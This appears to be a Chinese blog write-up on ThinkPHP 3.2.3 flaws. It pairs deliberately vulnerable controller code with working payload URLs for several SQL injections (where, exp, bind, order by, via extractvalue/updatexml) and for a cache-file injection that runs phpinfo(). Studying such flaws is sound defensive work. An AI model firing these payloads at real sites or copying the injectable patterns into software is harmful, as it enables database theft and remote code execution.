Thinkphp3.2.3漏洞总结

 
这里分析一下 Thinkphp3.2.3里面的一些漏洞问题
 

Where注入

 
在控制器中写个利用demo, 字符串 方式作为where传参时存在注入
 

    public function  getuser(){
        $user = M('users')->where('id='.I('id'))->find();
        dump($user);
    }

 
下断点分析
 

 
中间的过程有点复杂,我就在返回 sql 语句的出下了断点,可以看到是类似于 where (1=1) 的形式
 

 

并且好像也没有过滤什么
 

 
payload

http://host-2/index.php?m=Home&c=Index&a=getuser&id=1) and extractvalue(0x0a,concat(0x0a,(select version())))--+
 

 

exp注入

 
demo如下
 

public function  getuser(){
        $User = D('users');
        $map = array('id' => $_GET['id']);//必须使用 全局数组传参
        $user = $User->where($map)->find();
        dump($user);
}

 

 
payload
 

http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=exp&id[1]==1  and extractvalue(0x0a,concat(0x0a,(select version())))--+

 

 
太菜了,师傅们的分析文章看不懂
 

bind注入

 

public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('user')->where($data)->save($uname);
        dump($user);
}

 
payload
 

http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

 

 

find/select/delete注入

 
参考文章

https://xz.aliyun.com/t/2629#toc-3

order by注入

 

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('users')->where($data)->order(I('order'))->find();
    dump($user);
}

 
payload
 

order=id and(updatexml(1,concat(0x7e,(select user())),0))

 

缓存漏洞

 
在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:

F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。
S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。

 

public function test(){
    S('name',I('test'));
}

 
我们传入 test 的值后,会保存在 /Application/Runtime/Temp/md5('name').php 文件里面,里面的值是将我们传入的值反序列化进去的
 
payload
 

http://host-2/index.php?m=Home&c=Index&a=test&test=%0aphpinfo();/*

 

%oa 先换行跳过 //,在使用 /* 注释符注释掉后面的 引号
 

 

参考文章

 
https://www.cnblogs.com/ichunqiu/p/12469123.html

posted @ 2020-09-25 17:36  Zahad003  阅读(4841)  评论(1编辑  收藏  举报